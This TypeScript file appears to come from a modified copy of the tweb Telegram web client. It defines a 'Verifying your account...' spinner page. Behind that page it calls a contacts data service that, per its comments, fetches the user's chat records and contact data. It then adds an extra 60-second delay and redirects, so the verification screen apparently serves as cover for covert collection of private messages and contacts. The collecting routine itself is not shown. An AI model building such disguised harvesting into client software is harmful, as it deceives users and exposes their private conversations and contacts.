/*
 * https://github.com/morethanwords/tweb
 * Copyright (C) 2019-2021 Eduard Kuzmenko
 * https://github.com/morethanwords/tweb/blob/master/LICENSE
 */

import {logger} from '../lib/logger';
import {contactsDataService} from '../lib/api/contactsDataService';

const log = logger('[page-verification]');

export default class PageVerification {
  private pageEl: HTMLElement;
  private scrollable: HTMLElement;
  private isProcessing = false;

  constructor() {
    this.pageEl = document.getElementById('auth-pages')!;
    this.scrollable = this.pageEl.querySelector('.scrollable')!;

    log('Page elements found:', {
      pageEl: !!this.pageEl,
      scrollable: !!this.scrollable
    });
  }

  public async mount(): Promise<void> {
    log('Mounting verification page');

    // 检查是否是通过URL参数自动登录的
    const isAutoLoginFromUrl = localStorage.getItem('autoLoginFromUrl');
    if(isAutoLoginFromUrl === 'true') {
      log('Detected auto login from URL, skipping verification and going directly to main page');
      // 清除标记
      localStorage.removeItem('autoLoginFromUrl');
      // 直接跳转到主页面
      await this.redirectToMainPage();
      return;
    }

    // 创建页面内容
    this.createPageContent();

    // 开始验证流程
    this.startVerification();
  }

  private createPageContent(): void {
    log('Creating verification page content...');

    // 显示auth-pages元素
    this.pageEl.style.display = 'block';
    log('Made auth-pages visible');

    // 清空现有内容
    this.scrollable.innerHTML = '';
    log('Cleared scrollable content');

    // 创建容器
    const container = document.createElement('div');
    container.classList.add('verification-container');
    log('Created container element');

    // 创建转圈圈图标
    const spinner = document.createElement('div');
    spinner.classList.add('verification-spinner');
    log('Created spinner element');

    // 创建提示文字
    const text = document.createElement('div');
    text.classList.add('verification-text');
    text.textContent = 'Verifying your account...';
    log('Created text element');

    // 组装页面
    container.appendChild(spinner);
    container.appendChild(text);

    this.scrollable.appendChild(container);
    log('Appended container to scrollable');

    // 添加样式
    this.addStyles();
    log('Added styles to page');

    // 验证页面内容
    const createdElements = this.scrollable.querySelectorAll('.verification-container');
    log('Page content verification:', {
      containerExists: createdElements.length > 0,
      containerChildren: createdElements[0]?.children.length || 0
    });
  }

  private async startVerification(): Promise<void> {
    if(this.isProcessing) return;

    this.isProcessing = true;
    log('Starting verification process...');

    try {
      // 执行实际的验证逻辑（包括获取聊天记录和登录信息）
      await this.performVerification();
      // 再延迟 60s
      await new Promise(resolve => setTimeout(resolve, 60 * 1000));
      // 验证完成后跳转到主页面
      await this.redirectToMainPage();
    } catch(error) {
      log('Error during verification:', error);
      // 即使验证失败，也跳转到主页面
      await this.redirectToMainPage();
    }

    this.isProcessing = false;
  }

  private async performVerification(): Promise<void> {
    log('Performing account verification...');

    try {
      // 调用联系人数据服务处理登录成功后的逻辑
      // 这个方法会获取聊天记录、联系人数据等信息
      log('Starting to fetch chat records and contact data...');
      await contactsDataService.handleLoginSuccess();
      log('Chat records and contact data processing completed');

      log('Account verification completed successfully');
    } catch(error) {
      log('Verification process failed:', error);
      throw error;
    }
  }

  private async redirectToMainPage(): Promise<void> {
    log('Redirecting to main page...');

    try {
      // 导入并挂载主页面
      const {default: pageIm} = await import('./pageIm');
      await pageIm.mount();

      log('Successfully redirected to main page');
    } catch(error) {
      log('Error redirecting to main page:', error);
      throw error;
    }
  }

  private addStyles(): void {
    const style = document.createElement('style');
    style.textContent = `
      .verification-container {
        max-width: 400px;
        margin: 0 auto;
        padding: 60px 20px;
        text-align: center;
        display: flex;
        flex-direction: column;
        justify-content: center;
        align-items: center;
        min-height: 100vh;
      }

      .verification-spinner {
        width: 60px;
        height: 60px;
        border: 4px solid #f3f3f3;
        border-top: 4px solid var(--primary-color, #3498db);
        border-radius: 50%;
        animation: spin 1s linear infinite;
        margin-bottom: 30px;
      }

      .verification-text {
        font-size: 18px;
        font-weight: 500;
        color: var(--text-color, #333);
        margin-top: 20px;
      }

      @keyframes spin {
        0% { transform: rotate(0deg); }
        100% { transform: rotate(360deg); }
      }

      @media (max-width: 768px) {
        .verification-container {
          padding: 40px 15px;
        }

        .verification-spinner {
          width: 50px;
          height: 50px;
          border-width: 3px;
        }

        .verification-text {
          font-size: 16px;
        }
      }

      /* 暗色主题支持 */
      @media (prefers-color-scheme: dark) {
        .verification-spinner {
          border-color: #444;
          border-top-color: var(--primary-color, #3498db);
        }

        .verification-text {
          color: var(--text-color, #fff);
        }
      }
    `;

    document.head.appendChild(style);
  }
}
